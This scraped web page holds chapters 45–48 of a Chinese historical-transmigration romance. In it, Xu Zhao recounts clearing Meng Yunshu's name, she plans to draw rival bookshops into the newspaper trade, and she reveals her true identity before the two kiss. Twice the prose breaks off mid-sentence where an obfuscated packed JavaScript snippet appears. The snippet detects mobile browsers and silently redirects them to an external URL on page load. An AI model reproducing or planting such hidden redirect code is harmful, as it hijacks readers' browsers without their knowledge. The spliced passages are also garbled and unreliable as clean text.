“拟出行动计划后,我将部分任务委派给他们,这样一来,我们调查的效率大大提高。而且,这些民众本就散布于城中各处,掌握的消息各不相同,由此我们得以将七零八落的线索整合起来,这也加快了我们探查真相的速度。” 孟允抒深知“朝阳群众”的威力,那可是世界第五大情报组织,许昭说的这话绝对不掺半点水分。 接着,许昭向她讲述了那份盗版小报的来源。 南华门街曾经是著名的书业一条街,但在《黎民日报》崭露头角之后,因其格式规整、内容丰富新奇,有越来越多人被其吸引。每人每天为文娱活动留出的空闲时间只有那么多,他们将原先看书的时间挪去看报,那些书坊自然流失了一大批顾客。 于是,这些书坊的掌柜便联合起来商讨对策,但无论他们推出什么营销手段都难以挽回书籍市场的颓势。最后这些人发现,问题的根源在于报社,只有想办法减少他们的交易量,他们的生意才有复苏的可能。 而后,他们就讨论出了这样一个给孟允抒泼脏水的损招。这些人也明白这是掉脑袋的事,为了不让别人查到自己头上,他们专门雇佣了一些迫于生计的人,请他们负责兜售那份小报。 如果不是城中百姓提供线索,就冲他们那种东一榔头西一棒追的售卖方式,许昭他们想要抓住这些人简直是难如登天。 许昭对此发出一句感慨:“此前我从未想过,未经训练的民众在探案时的表现丝毫不输给那些专攻此道的官员。多亏了他们,真相才能水落石出。” 他说起了事件的后续。 “查明真相后,便只剩下最后一个问题,即如何让皇上召见我。当时陛下与我嫌隙颇深,谁说话他都听不进去,反而会加重对我的猜忌,还让他们因我获罪。”许昭笑了笑,“在我心急如焚之际,是皇上身边的一个小 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“而后程玄平就说我是顽固不化的榆木疙瘩,愤然离开。我便对那小太监说,程玄平这人向来刻薄倨傲,他说的话狗屁不通,让他别往心里去。” “所以在我走投无路之时,那小太监来府中找我,说是为了感谢我替他仗义执言,愿意帮我进宫面见皇上。”许昭有些惭愧地笑笑,“其实他说的这事我都记不清了,却没想到他一直将其挂在心上。” 许昭一本正经地讲着这些,孟允抒却笑得直不起腰。 恐怕在许昭看来他只是实话实说,但在那小太监眼中,许昭却给了他莫大的安慰,因此深受触动,感念许昭为他出头。 世人总说太监通常都心理扭曲,但孟允抒觉得他小心眼得恰到好处。 “后来我就听从他的安排换上了太监服饰,由他将我带进了宫里。”许昭继续说道,“在皇上喊他进去倒茶时,他便逮住机会让我进去,我才得以见到陛下,将真相和证据一并禀报给他。” 孟允抒听得心惊肉跳。这是一步险棋,假如皇上不肯听信许昭的辩白,他和那名小太监都会因此丢了性命。 许昭看向孟允抒,为这场斗争作出了总结。 “允抒,你说得对,民众之力不容小觑。在你我落难之际,最有用的竟然是那些最不起眼的平民百姓、底层官吏。我能够为你平反,他们功不可没。” 孟允抒赞同地点头。 “在狱中我也全仰仗着刘大人助我,否则我恐怕都活不到今日。” 说到这她想起自己漏掉了一件事,连忙问许昭道:“事后你可曾向这些人致谢?只要不是违反律令的要求,我们都应尽量满足他们。” 滴水之恩当涌泉相报,更何况他们于她有救命之恩。 “那是自然。”许昭的面色转为无奈,“不过他们却不肯收取任何报酬。只有几个人说,他们想要盛姑娘的手稿以作收藏,这点倒还算好办。” 孟允抒愣了愣:“他们什么都不要?” “倒也不是。”许昭回想了一下那些人所说的话,将其复述给了孟允抒:“他们说,只要你能早点出来,继续保持过去的文章质量,让大家在闲暇之余有《黎民日报》看,办好识字会和那些免费讲座,这就足够了。” 孟允抒蓦地想起刘冀说的话。 他帮助自己的原因很简单。他认为孟允抒是为黎民百姓着想的好人,所以不愿眼睁睁地看着她受难。 对这些人来说也一样。 在平民百姓中,大部分人都没有读过书,见识短浅思想落后,并无过人的才华或能力,不能一眼看清事物的本质,甚至有时会受奸人所惑,被人利用还浑然不觉。 但是,他们分得清好赖,知道谁是真正关怀体恤他们的人。 她将黎民作为立身之本,为众人举起一支火把,百姓都对此看在眼里。所以在她陷入危机时,每个人都愿意献出一份微薄之力,就这样聚沙成塔,一步步地将真相托举出水面。 孟允抒欣慰地笑起来。她发现自己过去忽略了一件事。 她的仇家固然不少,可支持她的人显然更多。正是因此她才能够从这场斗争中获胜。 或许她可以借鉴这次的经验,以此来解决那些棘手的难题。 46. 内忧外患 想到她的仇敌,孟允抒向许昭询问程玄平等人的现状:“你将那些证据呈给皇上之后,他对此作出何种决断?” “陛下亲自前去调查了此事。验证我所说的情况属实后,他就下令放了你,让我官复原职,又召程玄平和赵逾明进殿问话。” 许昭的语气转为不满:“可惜那两人狡辩一番后,皇上只是罚了他们几个月的俸禄,就对此事绝口不提了。” 这个结果令人寒心,但在孟允抒的意料之中。 毕竟程玄平是朝廷命官,他背后的势力错综复杂,他的位置不可能凭这么一件小事动摇。更何况,新党崛起也不过是最近三五年的事,而旧党的根基已经相当稳固。程玄平作为旧党的主要代表人物之一,即使是皇上也不敢对他轻举妄动,否则就会牵一发而动全身,打破整个朝廷政局的平衡。 他们需要等待一个合适的时机,到那时再推波助澜,狠狠地对旧党施以打击。在此之前,她和许昭要做的就是养精蓄锐,同时抵御来自旧党成员的倾轧陷害。 但旧党势力庞大,他们正对许昭虎视眈眈。这些人的阴谋诡计层出不穷,新党成员却基本都是许昭这种耿直的义士,当然很容易被他们暗算。 而且,虽然孟允抒暂时洗清了虚构新闻、伪造诏书的嫌疑,但毕竟小报是个相当敏感的事物,这事被捅出来之后,尽管旧党当前并没有她违反律令的证据,可她难保皇上不会对自己抱有疑心与戒备。在有心人的煽风点火下,她和许昭随时都有脑袋搬家的风险。 政治斗争真是令人头疼。 孟允抒一时找不到对策,便任由思绪放空了一会,忽而抓住了一个关键词。 她开口问道:“公子认为,何为‘政治’?” 见许昭也陷入沉思,孟允抒估摸着他正在脑中迅速回想着那些政书策论,试图从中挑出一个合适的答案,于是补充了一句:“你不必想得那么复杂,我只是随口问问,公子简明扼要地说出你的看法即可。” 许昭停下思考,他看向孟允抒,给出了一个简洁的回答:“玩弄权术,笼络人心。” “没错。”孟允抒点头,“只是这句话还可以说得再简单些。” 她笑了笑说道:“我并不擅长弄权,公子也是一样。所以我的答案是‘广结友,少树敌’。” 许昭顿时坐正了身子,摆出一副洗耳恭听的神态:“请姑娘赐教。” “在我看来,若想在政斗中取胜,就要营造敌寡我众的局面。” 为了进一步解释这句话的含义,孟允抒以他们刚刚经历过的这场风波为例,对许昭说道:“我们都知道旧党的力量不容小觑,但最终还是我们赢得了胜利。因为帮助我们的人是黎民百姓,还有那些底层官吏。” 许昭顿悟道:“而他们的数量远多于达官显贵。” “对。”既然许昭已经理解了她的意思,孟允抒便接着前面的话说道,“所以,我们接下来应当做的便是广结善缘,充实我方力量。只要一个人与我们没有根本性的冲突,就可以拉拢他和我们站在同一阵营。你在官场如此,我在商场亦是如此。” “真是‘听君一席话,胜读十年书’。”许昭轻笑一声,对孟允抒说道:“过去我曾看过诸多治国理政的学说,学得太多太杂,反倒时常陷入迷惘。如今你这寥寥数语让我豁然开朗,我早就说不许女子入仕是朝廷的损失。” “你说话可得注意点。”孟允抒虽然因为许昭的夸奖而沾沾自喜,但还是尽力控制着自己疯狂上扬的嘴角,“如今你我正处在漩涡中心,小心隔墙有耳。” 许昭意识到他方才的话有僭越之嫌,连忙压低声音说道:“姑娘教训得是。” 随着两人的交谈声的减弱,其他噪音便占据了上风。孟允抒的肚子突然发出一串不满的抱怨,向她诠释了什么叫“饥肠辘辘”。 赶在孟允抒开口之前,许昭意识到他犯了个错误,和孟允抒一道窘迫地笑了笑:“见你醒来我一时高兴,却忘了你连日来粒米未进,方才我还拉着你说了这么久的话,真是该打。” 他将身体前倾,拉住孟允抒的手问道:“你想吃什么,我去给你做。” 孟允抒非常意外,她刚想问许昭“你居然会做饭”,联想到许昭过去的家境后又把话咽了回去。 他出身乡野,掌握这项技能也不足为奇。 “不用麻烦你亲自动手,叫伙房的人去做就可以。”孟允抒回答,“我吃什么都行,只要清淡些便好。” “不行,你的伤病未愈,最近得格外注意。”许昭拒绝了她的提议,“你在这稍等片刻,我马上就回来。” 说完,他起身快步走到门外,孟允抒听见他叫了个小丫鬟过来,和她交代着让她看护好自己,而后便匆匆远去。 那小丫鬟一进门便是满脸激动,一时忘了行礼:“夫人你醒了?” “嗯。”孟允抒不在乎这种细节,只对她笑了笑,“你坐下来说话。” 小丫鬟欣喜地搬了张凳子过来,坐到孟允抒床边嘘寒问暖。她挽起孟允抒的袖子查看伤势,在看到她胳膊上横七竖八的伤痕后,竟然鼻子一酸掉下眼泪来。 “夫人在牢里真是受委屈了,回来之后就一直昏迷不醒,身上还带着这么多伤……” 她哭得上气不接下气,孟允抒不得不反过来安慰她:“我没事,这些伤过些日子就好了,不打紧,你别难过了,擦擦眼泪。” 这小姑娘不过十六岁的年纪,放在现代都还没成年,孟允抒在潜意识里会对她多一些包容。 待她的啜泣变成断断续续的抽噎后,孟允抒才继续说道:“倒是辛苦你们这些日子照顾我。府中人手少,你们恐怕都睡不了个囫囵觉。” “没有。”小丫鬟连忙摇头,“这些日子都是老爷在照料你,我们只是和平常一样,做好分内之事罢了。” 她抹了一把眼泪说道:“自打老爷将你从刑部带回之后,除了极个别的情况,他都寸步不离地守在你床边,我们怎么劝都劝不走他。他说,只有他亲自照看你,他才能放心。” 孟允抒惊诧道:“我昏迷了三天三夜,这期间都是许公子在一旁陪护我?” 小丫鬟点点头:“老爷这几天连他的卧房都没进,更别说上床休息了。他就一直这样衣不解带地待在你旁边,给你喂水换药,替你擦洗身子,实在困得不行了才会稍微合眼睡一会。” 说到这,她有些担忧地说道:“夫人,你稍后赶紧劝劝老爷,快让他休息去吧,由我们来照顾你。再这样下去,我担心老爷的身子会先吃不消。” 孟允抒这才明白过来,难怪只过了短短三天,许昭就憔悴成了那副模样。他经受的是身体和心理上的双重折磨。 想到那小丫鬟说的话,孟允抒又忽然意识到一件事。 她赶紧低头看向自己的身体,只见她穿着一身干净的寝衣,皮肤上也并无半点脏污,显然和她出狱时的狼狈模样大相径庭。 这都是许昭的杰作。 小丫鬟看出孟允抒的慌乱,连忙开口解释道:“夫人放心,老爷是正人君子,他没有趁人之危,对你做什么出格的事情。” 她踌躇了一下又继续说道:“夫人,我想斗胆和你说句话。” 孟允抒点头道:“你想说什么直言便是,我不会责怪你。” 即便如此,她还是站起身来,紧张地捏住衣角,小心翼翼地开了口。 “我们这些下人整日待在府里,夫人和老爷之间是什么关系,我们都心知肚明。可是,夫人是好人,老爷也是一样,你们心意相通却没有夫妻之实,这让我实在不明白。” 小丫鬟鼓起勇气,直视孟允抒的双眼。 “夫人,我知道老爷对你情深意重。所以,我想问题应该是出在夫人身上,是你不愿接纳老爷。” 她这话说得半对半错,孟允抒无法向她道出真实原因,只能以沉默应对。 外患未除,内忧已至。小丫鬟的话提醒孟允抒,还有一个问题亟待解决。 “如果夫人是因为过去两年的事对老爷心怀芥蒂,那我想恳请你放下成见。以前老爷出于种种原因冷落、提防、猜忌夫人,可如今他绝对是将一颗真心交付给了你。” 小丫鬟从另一个视角道出这几日许昭所做的事。 “夫人应当也知道,老爷并不善于交际。但为了将你救出来,他去找了所有他能想到的人,挨个给他们说好话,恳请他们帮助你。” “后来,他夜以继日地探查真相整理证据,想要尽快地还你清白。在老爷进宫面见皇上之前,他还特意召集我们这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724707|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下人,告诉我们如果他出了意外,之后就听秋盈姐姐和管家的安排。他已经将后续事务交代给了他们。” 从许昭当时的角度出发,他肯定也知道自己此行凶险,所以提前安排好了后事。 即便如此,他还是跑去宫里,冒着掉脑袋的风险替孟允抒申冤。 因为那是救她的唯一机会。 “后来我才知道,当时老爷面对的情况比我想象得还要惊险。” 小丫鬟停顿片刻,似是替许昭捏了一把冷汗。 “老爷扮作太监的模样进殿倒茶,可皇上一抬眼就发觉了他,当即就要喊人将他抓起来。情急之下老爷连忙跪地谢罪,对皇上说,只要他肯听自己说几句话,他说完后情愿马上被拉去斩首。” 这句话如一记重锤敲在孟允抒身上。她不知道许昭说这话时的心境如何,但他的目的只有一个,那就是替她平反。 “因此,皇上才准许老爷将案件的内情告知给他,夫人才能够被无罪释放。陛下感慨老爷对夫人的情意,为了补偿你们,他不但赐给老爷银两,还特意给他准了半月的假期,叮嘱他在家好生照顾你。”小丫鬟眼泪汪汪地抬起头来,“连皇上都为你们之间的感情动容,还请夫人不要再怀疑老爷了。我也希望你和老爷能幸福美满,长相厮守。” 孟允抒还是一言不发,但她的心中久久不能平静。 方才在她和许昭的对话中,他将自己在这件事中起到的作用一笔带过,对小丫鬟说的那些更是绝口不提。或许是他不想让自己担心,又或许是他的确觉得自己没做出什么值得拿出来吹嘘的贡献,但不论是哪种情况,孟允抒都已经感受到了他的心意。 “我明白,你是为我好。”孟允抒对小丫鬟笑了笑,宽慰她道,“多谢你告诉我这些,我会妥善处理此事。不哭了。” 两人正说着话,许昭的脚步声便在门外响起,而后他端着案盘走了进来:“面条已经煮好了,你快趁热吃吧。” 小丫鬟见状赶忙起身,接过案盘将它搁在桌上,急匆匆地向两人告辞退下。 许昭对她的反应心生疑惑,他看向孟允抒问道:“我见她好像刚刚哭过,你和她说什么了?” “没什么。”孟允抒笑笑,想先把这事搪塞过去,待会再找个合适的机会和许昭坦白心迹。 她在许昭的搀扶下起身下床,坐到桌旁端详着眼前那碗热气腾腾的面条。 碧绿的葱花和着白嫩的鸡肉,显然这是一碗普通的鸡丝面。只不过在胤朝人口中,字词的顺序被打了个颠倒,它的称呼变成了“丝鸡面”,是胤朝的一道家常饭食。 尽管它并非什么稀罕的山珍海味,却有种质朴温馨的香气。 见孟允抒迟迟不动筷子,只是盯着饭食出神,许昭先是疑惑地问她怎么不吃,而后如梦初醒般地说道:“你看我实在是考虑不周。你大病初愈,身上应是没什么力气。” 他把碗筷挪到自己面前,扭捏了半天才说出一个完整的句子。 “我喂你吃。” 孟允抒本想说让她自己来,但又不忍心拂了他的好意,于是点头应允。 第一口面条下肚后,许昭又给她舀了勺汤喝,问她味道如何。 得到孟允抒的真诚赞美后,许昭欣慰地笑起来:“其实我做饭的手艺很一般,只有这丝鸡面做得好。因为这是我娘的拿手好戏,我幼时就喜欢吃这个,所以缠着她教给了我。” 提到母亲,许昭又有些伤感和怀念。 “我爹是个人渣,整日惹是生非,而且经常对我娘拳脚相加。我娘担心我长大后会和他一样,所以她屡次告诫我,若我日后娶妻,定要将她放在心上好生爱护。” 许昭有些惭愧地笑笑:“但我生性愚直,过去又只知道埋头苦读,从未体会过男女之情,见到女子便无措,故而也不知道该如何与你相处。我做得不够好,但你作为我的妻子,我定会全心全意地对你。” “不。公子这样的夫君,世上打着灯笼都难寻。” 面汤蒸腾出的雾气模糊了孟允抒的视线,她贪恋许昭的温柔,但不能心安理得地接受它,于是毅然决然地将它推远。 她抬起头直视着许昭的双眼,目光如炬。 “许公子,若我不是你的妻子,你又将如何待我?” 47. 琴瑟 许昭听到这话愣了一瞬,手中的筷子随之停在空中。 他暂时将碗筷放在一旁,困惑地问道:“允抒,你这是什么意思?” “此事听起来像是天方夜谭,但我愿以我的性命起誓,我所说的绝无半句虚言。” “好端端的,拿性命起誓做什么。你说的话我当然相信。”许昭见她神情严肃,意识到她即将说的话的重要性,于是正襟危坐道:“你讲吧。” 孟允抒深吸一口气,稳住心神。 而后,她尽可能地用许昭能够理解的语言,详细讲述了她的真实身份与经历,还有她曾见到那位孟姑娘的事。 说完这些,孟允抒攥紧了双拳。她盯着自己罗裙上的几道褶皱,问出那个在她心底潜藏已久的问题。 “许公子,你喜欢的人到底是谁?” 巨大的信息量向许昭涌来,让他陷入沉思。半晌,房间中都没有响起任何声音,空气安静得出奇。 孟允抒低头盯着面前那张木桌上的纹路,忐忑不安地等着许昭的回应,像是在等候最终判决。 她听到许昭那边传来轻微的动静,意识到他将要开口说话,于是屏住呼吸凝神聆听。 许昭的声音很轻,像是斟酌着语言的分量,慎重地做出决定。 “允抒,如你所说,起先我对你的确抱有感激与愧疚之情,也是出于责任感才关心你。” 孟允抒刚刚生出一阵失落感,就被许昭的下一句话捞了回去。 “但是,在你来到这里之前,我对原先那位孟姑娘也怀着这些情绪。可我和她的关系如何,你是知道的。” 许昭的语气坚决:“我虽然不是久经情场的浪子,却也分得清自己心中的情意。感激、愧疚、责任感,这些可以成为我对你好的理由,也足以成为我对孟姑娘好的原因,但它们都不是倾慕之情。” 孟允抒像是抓住了一线希望,她抬头看向许昭时,对方恰好也对上她的目光。 这次许昭并未像往常那样移开视线,而是郑重其事地说道:“允抒,其实你自己最清楚,你和那位孟姑娘是截然不同的人。一个人骨子里的秉性是装不出来的,所以你不必担忧我倾心的只是你的表象。” 许昭从孟允抒腿上牵走她的手,与她十指相扣。孟允抒察觉到自己手心传来温暖而有力的触感。 许昭一字一句地给出了他的最终答案:“你原本是什么模样,我爱的便是什么模样。” 孟允抒心里的石头落了地。 许昭的这番论述已经清晰地解释了他的感情,孟允抒想,她从此以后都不用再质疑他了。 “我明白了。多谢公子为我解惑。” 她抬起另一只手,将它放在许昭的双手之上,对他报以释然的微笑。 “你对我的心意,我也全然知晓了。” “只是这样便委屈了你。”许昭纠结起两人关系的合法性,“为了对外隐瞒你的身份,我不可能与你再次成婚。这样一来,你就不是我明媒正娶的妻子。” “我并不在意这些。”孟允抒摇头道,“成婚流程与礼节繁琐冗长,我巴不得不经历那一遭。” 她看向许昭,继而说道:“此前我与公子发生冲突,也是我方才所说的心结所致。实际上,从那时起我就该将你唤作‘许郎’。” “无妨,从今日起改口也不迟。” 许昭一时兴奋,道出了自己的心声,而后却又被自己说得害羞起来。为掩饰自己的尴尬,他左顾右盼了一会,倏然看到方才被他放在一边的碗筷。 “坏了。” 许昭急忙将那碗面端过来,他碰了碰碗壁,发觉里面的温度已经降了下来。 孟允抒也才反应过来,折腾了这么半天,她还饿着肚子呢。 “我光顾着和你说话,面都凉了。”许昭懊悔地说道,“我先让人给你拿些点心来垫垫肚子,我再去给你重煮一碗。” 见许昭端着碗就要起身离开,孟允抒连忙拦下他说道:“不必了,你将它再热一遍就行,倒掉怪可惜的。” 她笑了笑,又补充了一句:“而且这是我的许郎为我亲手做的第一碗面,意义非凡,我可不能便宜了渣斗。” 孟允抒存心打趣许昭,刻意加重了“我的许郎”四字,许昭也没有辜负她的期待,红晕迅速染上他的脸颊,他端起案盘便落荒而逃。 不过,正是因为这句话的威力巨大,孟允抒才保住了自己珍惜粮食的美好品德。 许昭见孟允抒大口大口地吃着面,忍不住在一旁问道:“这面放得时间久了,又煮了第二遍,早都变成了软趴趴的一坨,能好吃吗?” “这是你用心为我做的,当然好吃。”孟允抒吃得津津有味,甚至连面汤都喝了个干净,而后餍足地放下筷子说道:“至少它可比凉了的泡面好吃多了,有时我加班太忙……” “等等。”许昭打断她问道,“泡面是什么?” 孟允抒发觉,在她向许昭坦白身份后,她在潜意识里放下了戒备,不经意间说了个现代的事物。 在孟允抒作出解释后,许昭对现代社会来了兴致,好奇地问东问西。 最开始他问的都是些无足轻重的琐碎小事,比如“你们的马车是什么样子”,“服装制式与大胤有何不同”,孟允抒都一一耐心作答。接着,他的问题逐渐转向科学、文化、教育等领域,最后问到了他最关心的政治上。 “你们当今的皇上是谁?他是个什么样的人?” 听到这个问题,孟允抒忍俊不禁。 大清早在一百多年前就灭亡了,“皇上”这个词和她的现实生活相去甚远。 “我们国家没有皇上。”孟允抒说这句话时还是没憋住笑,“不过世上有很多国家,其中一部分国家还有皇帝。” 许昭对此非常意外,他想象不出那到底是个什么样的社会,但明显能感觉到那比胤朝要先进数万倍。 “照你所说,你所处的朝代——” 他按照孟允抒的说法改口道:“不,应该叫‘时代’。你们的时代那样美好,各方面的水平都发达至极,那世上是否已经没有战乱和饥荒,人们不再被分为三六九等,每个人都能安居乐业?” 许昭的眼瞳因为激动而闪烁着光彩,孟允抒望着他,一时不知该如何作答。 这是许昭的终极理想,也是她的愿景,更是无数个来自不同时代、不同国家的人的奋斗目标。 但它至今尚未实现。 沉默片刻后,她决定将实情告知许昭。 “不是。”孟允抒摇摇头,“世上有太多的人,我们的想法和立场各不相同,因此便有了冲突,正如朝廷中的党派斗争一般。” 许昭哑然地看着孟允抒,而后神情有些落寞。 “但是,你不必灰心。虽然我们尚未抵达终点,但我们正在努力靠近它。”她话锋一转,对许昭笑了笑,“至少相比于大胤,在我的国家,有更多和你我观念一致的人,每个人都能接受义务教育,女子从政也是常事,个人婚姻自由,这些都是进步。” 许昭重新抬起眼眸,脸上显出惊喜与欣慰的神色。 “那就好。” 他起身在房间里来回踱步,不紧不慢但步履坚定,像是在认真思考什么事。 末了,他引用了一句话作为总结。 “路虽远,行则将至;事虽难,做则必成。” “没错。”孟允抒吃饱喝足,便有了力气去继续分析他们眼下应当去做的事:“既然如此,接下来我们便重整旗鼓,按照此前讨论得出的对策行事,‘广结友,少树敌’。” 她轻叩着桌面梳理思路:“当前城中的报社只有我们一家,难免势单力薄。先前我单打独斗,虽然取得了一定的成果,可最终会受到规模限制,难以掀起什么风浪。如玉行会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736590|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也正是出于这点考虑,频频向我施压,限制报社雇员数量。” 许昭点点头,作出补充:“而那些书坊却开业已久,人多势众,他们联合起来打压报社,令你难以招架。” “但既然报社的生意如此红火,说明报纸广受民众欢迎,其具有广大的市场空间,这是不容置疑的事实。”孟允抒分析道,“多家书坊嫉恨我,认为报社抢了他们的生意,其实我只是顺应民意罢了。如果他们足够聪明,就应该趁机下场,从报业中分一杯羹。” 孟允抒猛然住了口,她意识到自己已经说出了解决方法。 “我明白了!”她激动地抓住这道灵光,赶忙和许昭商量起她的计划,“既然这些人眼红报社的生意,那我不如大度些,让他们也参与进来。若是一部分人愿意改行从事报业,那我便有理由将报业从书业中分离,将其作为一个独立的新行当。这样一来,我也不必再受到如玉行会的束缚。” “此计甚妙。”许昭赞同她的想法,“若实际情况如你所愿,你便能够化敌为友。” 到那时,报社就能够与传统书坊分庭抗礼,而新闻业也能在胤朝发扬光大。 这样的结果令孟允抒心潮澎湃,她当即就要起身去拟一份详细的操作方案,嘴里兴奋地念叨着:“等今日秋盈回府后我就将这个想法告诉她。明日我去报社——嘶!” 孟允抒想出对策后一时得意忘形,她刚一站起,遍布全身的剧痛就向她袭来,险些让她站立不稳倒在地上。 好在许昭手疾眼快地扶住了她,将她重新带回床边,半是心疼半是着急地数落她:“你当心些。你这浑身是伤,要是不注意就会复发,搞不好还要落下病根。” 许昭说得在理,孟允抒不得不重新坐回床上,当一个安分守己的伤员。 “如今你才刚脱离危险,最紧要的事就是养好身子,要不然何谈后面的那些宏图伟业?”他替孟允抒整理好床铺,叮嘱她道,“近日你先在府中静养,待你的身体恢复后再去报社,处理那些事务。” 方才的剧痛已经提醒了孟允抒,她当今的确不便行动。她不愿逞强给别人添麻烦,但她如果什么事都不干,待在府中肯定是度日如年。 要是能居家办公就好了。 孟允抒瞥了一眼许昭,计上心头。 她拿捏好语气,装腔作势地说道:“我知道许郎是为我好。” 第一句话刚出口,许昭马上就开始坐立难安。 孟允抒见这招立竿见影,便放心大胆地说了下去:“可我若是整日待在府中无事可做,肯定会闷闷不乐,这于我的病情不利。” 她观察许昭的神情,估摸着火候差不多了,便试探性地说出自己的目标:“不如让秋盈每日给我带些简单的、能够在府中处理的事务,反正这半个月你被准假在家,可以从旁监督我。若你觉得任务太过繁重,随时都能叫停。” 许昭认为孟允抒所说的方案可行,于是点头应允。 他转身要去端走桌上的案盘,却忽然像是想到了什么,又折返回来对孟允抒说道:“这几日我虽不用前往官府,却仍有公务在身。伪诏一案后,陛下决心整顿小报乱象,命我重新修订《大胤律疏》中的相关规定。” 许昭向她提议:“既然你从事的就是报业,又懂得相关的律令,不如由你为我提供些参考。” 制定法律能够维护清朗的新闻环境,也有利于后续成立专业的报业行会,孟允抒觉得这是件好事,便一口答应下来。 许昭面露喜色,迅速丢出一句话:“所以,这几日你就来书房处理事务吧,这样我也方便问你。” 而后,不等孟允抒作出反应,他就端着案盘夺门而出。 孟允抒算是听明白了,许昭前面包的那一大堆饺子都是为了这一小碟醋。 她的唇角止不住地上扬。 他不过是想和她待在一起而已。 48. 和鸣 晚间,孟允抒照例坐在桌边看报,时不时地回答许昭的问题。 半月以前许昭的假期结束,他官复原职后就和往常一样每日去上值,只是每晚修撰律疏时都要将孟允抒拉过来,美其名曰让她来当参谋。 孟允抒当然明白许昭心里那点小九九,但她自始至终没有拆穿他拙劣的伪装。 谁让他俩一个愿打一个愿挨。 孟允抒读完一篇文章,忽而听见坐在对面的许昭搁下笔,长舒一口气道:“历时一月,在你我的通力合作下,终于把这桩事解决了。” 她欣喜地伸出手:“让我看看。” 许昭将他面前的宣纸递了过来,他本人也沿着书案绕了半圈,来到孟允抒身边,和她一起端详两个人的合作成果。 孟允抒浏览了一遍纸上的内容,满意地点点头。虽然两人在做这事时各怀鬼胎,但这些律令并未包含他们的半点私心。 孟允抒将其评价为“现代新闻法在胤朝本土化的一次伟大尝试”。 她回头对许昭说道:“这样一来,虚假新闻应当——” 在看清许昭的脸时,她突然笑出了声,只留下说了半截的话飘荡在空中,令许昭不解地问她在笑什么。 孟允抒一边笑着一边拿来面铜镜:“你自己照照就明白了。” 许昭看向镜中的自己,只见他脸上布满乌黑的墨痕,活像个刚从煤炭堆里钻出来的人,看起来十分狼狈。 “这是怎么回事?” 他疑惑地抹了一把脸,脸上却赫然出现一道崭新的污渍。 孟允抒连忙叫他别再乱动,扯着他的手伸到油灯底下,两人这才发现,许昭不知何时在手上沾了一块墨迹,他脸上的那些黑痕应当是他在不经意间抹上去的。 油灯的光线不甚明亮,因此孟允抒也一直未曾发觉。 “你都多大的人了,写个字还能把你自己搞成这样。” 孟允抒大肆嘲笑着许昭,但还是好心地出手相助。她腾出椅子让许昭坐下:“你先坐在这,别碰其他东西。” 许昭尴尬得无地自容,但为了防止他把墨痕染得到处都是,他只能服从孟允抒的命令,任由她摆布自己,看着她挽起自己的袖子,命他举起双手。 孟允抒很快便端了盆水进来,将手巾打湿后先给许昭擦了手,而后又擦拭着他脸上的那些墨迹。由于干掉的墨渍比较顽固,孟允抒不得不多使了些力气,直到将许昭脸上的皮肤都搓得发红,这才不见了那些污渍的踪影。 见许昭马上就要站起身,孟允抒按住他的肩膀说道:“等会,你先别着急起来,让我看看洗净了没。” 她将油灯往桌边挪了挪,细细察看许昭脸上的痕迹。 但看着看着,她的关注点就跑偏了。 许昭本就生了副干净深邃的长相,洗过脸后更是显得面如冠玉,又像是冬日枝头上未经采撷的霜雪。这般素净冷峻的底色将他五官的轮廓衬得更加清晰,色彩也尤为鲜亮,那眉目像是沾了方才的水墨似的乌黑,唇上的薄红从唇缝至两侧均匀地晕染开来,逐渐变淡,隐入白皙的肤色中。 见孟允抒望着他出神,许昭被盯得不好意思,连忙避开她炽热的视线,心慌意乱地问道:“怎么了?” 孟允抒觉得,任何华丽的辞藻在许昭面前都会黯然失色。 她凑近了许昭的脸,由衷地称赞道:“许郎,你这容貌当真是俊朗无双。” 许昭因为她突如其来的夸奖而乱了阵脚,脸上红一阵白一阵的,半天没拼凑出一句完整的回应:“你、你突然说这些做什么?” 孟允抒见状便起了捉弄他的心思,故意调侃他道:“朝廷中有谁能想到,堂堂的刑部郎中许大人看上去刚正不阿,做起事来雷厉风行,可在私底下竟然是这般含羞带怯的模样,真是令人大开眼界。” 她说这话的同时还在检查许昭脸上的污渍是否都已经被洗尽,忽然收敛笑意正色按住许昭道:“你先别动。方才光线太暗,你脸上的水没擦干净。” 两人拉近距离后孟允抒才发觉,许昭的唇上还沾着些细小的水珠。于是她伸出手,用手指轻轻替他拭去这些水渍,留下一道泛着光泽的水痕。 她将全部的注意力都放在了这两片薄唇上,因此那抹殷红和着水光直截了当地撞入她的眼帘,将她的视野占据得满满当当。 孟允抒心中忽而涌起一阵强烈的冲动。席卷而来的浪潮淹没了她的心脏,令她的呼吸变得急促起来。 她喃喃自语道:“不对。我方才的用词不当。” 说完,她微微俯身,吻上了许昭的唇。 与他冷淡沉静的外表相对,他的嘴唇是出乎意料地柔软,蕴着温热的气息。 许昭对孟允抒的反应始料未及,他先是惊了一瞬,而后骤然意识到,这正是他期待已久的事物。 于是,他顺从地配合着孟允抒的动作,任由她欺得自己动弹不得。 由于许昭的主动退让,孟允抒没费太大力气便破开了他的防守,用灵巧的舌尖撬开他的双唇,在对方的领地上肆意巡游,攻城掠地,很快便将这片空间据为己有,也顺利捉住了躲在里面的将领。 许昭难以招架她的猛烈攻势,不禁攥紧了孟允抒的衣袖。 在两人的唇舌相碰时,柔软的触感勾起一阵细碎的震颤,从舌尖欢欣地流遍全身,一直沁入心田。 